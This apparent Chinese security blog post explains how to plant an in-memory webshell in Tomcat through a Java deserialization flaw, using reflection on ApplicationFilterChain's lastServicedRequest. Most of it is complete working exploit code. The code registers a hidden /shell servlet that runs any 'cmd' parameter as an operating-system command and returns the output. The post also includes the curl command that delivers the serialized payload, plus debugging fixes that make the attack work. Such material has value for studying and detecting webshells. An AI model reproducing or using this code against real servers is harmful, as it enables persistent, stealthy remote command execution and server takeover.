在学习kingkk师傅的《Tomcat中一种半通用回显方法》一文中,找到了一个静态的存储了request and response的变量
我在使用该回显方式进行反序列化漏洞注入内存马实现过程中,踩坑不断,分享一下有哪些坑
在师傅文章中的描述中,他的想法是找到一个在request / response传递过程中,能够对request进行保存的一段代码点,如果能够我们能够获取到该变量,也即能够获取request对象,进行内存马的进一步注入
我们定位到了org.apache.catalina.core.ApplicationFilterChain
类中
其存在有两个变量lastServicedRequest / lastServicedResponse
他们都是一个ThreadLocal
类型
那么什么是一个ThreadLocal
类型捏?
多线程访问同一个共享变量的时候容易出现并发问题,特别是多个线程对一个变量进行写入的时候,为了保证线程安全,一般使用者在访问共享变量的时候需要进行额外的同步措施才能保证线程安全性。ThreadLocal是除了加锁这种同步方式之外的一种保证一种规避多线程访问出现线程不安全的方法,当我们在创建一个变量后,如果每个线程对其进行访问的时候访问的都是线程自己的变量这样就不会存在线程不安全问题。
ThreadLocal是JDK包提供的,它提供线程本地变量,如果创建一乐ThreadLocal变量,那么访问这个变量的每个线程都会有这个变量的一个副本,在实际多线程操作的时候,操作的是自己本地内存中的变量,从而规避了线程安全问题
也就是说获取的是本次请求的对应的request对象
在接受一个请求的时候,在处理这个请求的时候,首先会调用ApplicationFilterChain#internalDoFilter
进行过滤器的调用
主要的逻辑如上图
在第一个if语句中,如果能够进入其中,将会执行lastServicedRequest.set(request); / lastServicedResponse.set(response)
两条语句进行request / response的保存
我们可以调试一下,正常访问了一个资源,定位到该位置,是不会将request / response进行保存的
也即是因为ApplicationDispatcher
类的WRAP_SAME_OBJECT
属性值为false
所以我们的首要目的是将其置为true,我们可以通过强大的反射来实现这个目的
对于该属性,是一个static final
修饰的属性,直接通过常见的反射赋值是不能够成功的
参见该文章,能够对该属性进行修改
所以我们首先通过反射修改属性值
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true); ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null); boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null); if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) { lastServicedRequestField.set(null, new ThreadLocal<>()); lastServicedResponseField.set(null, new ThreadLocal<>()); WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); }
我这里使用的是springboot 2.5.0直接进行搭建
其中接收反序列化漏洞的点为
在设置了WRAP_SAME_OBJECT_FIELD
属性为true之后,在第二次进行访问的时候将会将request / response进行保存,也即是不会进入if语句中
这里我们使用前面提到的Tomcat Servlet的内存马进行测试,前面实际上不算是真正意义上的内存马,因为前面对于获取request的步骤是直接使用的是,HttpServlet
类的doPost
方法中传入的HttpServletRequest
对象
对于反序列化的方法进行内存马的注入是不能够成功的
这里,我将doPost中的逻辑放在else
语句中,代表着在成功记录了request / response对象之后进行执行我们的注入内存马逻辑
对于request的获取,我们从lastServicedRequest
属性中进行获取
ServletRequest servletRequest = lastServicedRequest.get()
完整的实现
static { try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true); ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null); boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null); if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) { lastServicedRequestField.set(null, new ThreadLocal<>()); lastServicedResponseField.set(null, new ThreadLocal<>()); WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); } else { String name = "xxx"; //从req中获取ServletContext对象 // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显 ServletRequest servletRequest = lastServicedRequest.get(); ServletContext servletContext = servletRequest.getServletContext(); if (servletContext.getServletRegistration(name) == null) { StandardContext o = null; // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 while (o == null) { Field f = servletContext.getClass().getDeclaredField("context"); f.setAccessible(true); Object object = f.get(servletContext); if (object instanceof ServletContext) { servletContext = (ServletContext) object; } else if (object instanceof StandardContext) { o = (StandardContext) object; } } //自定义servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; //用Wrapper封装servlet Wrapper newWrapper = o.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); //向children中添加Wrapper o.addChild(newWrapper); //添加servlet的映射 o.addServletMappingDecoded("/shell", name); } } } catch (Exception e) { e.printStackTrace(); } } }
curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"
发送序列化数据
值得注意的是,这里需要发送两次序列化数据,因为第一次是用来修改属性值,第二次执行内存马注入逻辑
在发送第一次的时候
成功进入if语句保存了request域
在第二次发送序列化数据的时候
同样保存了本次请求的request对象
Boom!!在执行else语句中的逻辑中出错了
报错显示找不到Servlet这个类
前面不能找到我们自定义创建的Servlet类,在我看来,应该是这里使用的是TemplateImpl
链进行反序列化漏洞的利用,要求必须要实现AbstractTranslet
类,才能进行加载,这里使用的是TemplatesImpl$TransletClassLoader.loadClass
进行类的加载,或许是因为这个原因导致不能加载
纯属个人理解,如果说错了,希望能告知一声,感谢
所以我们直接在主类中实现servlet
接口,将其也扩展为一个Servlet对象,这样就能够加载这个Servlet类了
完整的代码
public class TomcatMemshell extends AbstractTranslet implements Servlet{ static { try { Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest"); Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse"); Field modifiers = Field.class.getDeclaredField("modifiers"); modifiers.setAccessible(true); // 去掉final修饰符,设置访问权限 modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL); modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT.setAccessible(true); lastServicedRequest.setAccessible(true); lastServicedResponse.setAccessible(true); // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse if (!WRAP_SAME_OBJECT.getBoolean(null)) { WRAP_SAME_OBJECT.setBoolean(null, true); lastServicedRequest.set(null, new ThreadLocal<ServletRequest>()); lastServicedResponse.set(null, new ThreadLocal<ServletResponse>()); } else { String name = "xxx"; //从req中获取ServletContext对象 // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显 ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null); ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null); ServletRequest servletRequest = threadLocalReq.get(); ServletResponse servletResponse = threadLocalResp.get(); ServletContext servletContext = servletRequest.getServletContext(); if (servletContext.getServletRegistration(name) == null) { StandardContext o = null; // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 while (o == null) { Field f = servletContext.getClass().getDeclaredField("context"); f.setAccessible(true); Object object = f.get(servletContext); if (object instanceof ServletContext) { servletContext = (ServletContext) object; } else if (object instanceof StandardContext) { o = (StandardContext) object; } } //自定义servlet Servlet servlet = new TomcatMemshell(); //用Wrapper封装servlet Wrapper newWrapper = o.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); //向children中添加Wrapper o.addChild(newWrapper); //添加servlet的映射 o.addServletMappingDecoded("/shell", name); } } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }
发送第一次数据
成功修改
发送第二次数据
成功注入
查看效果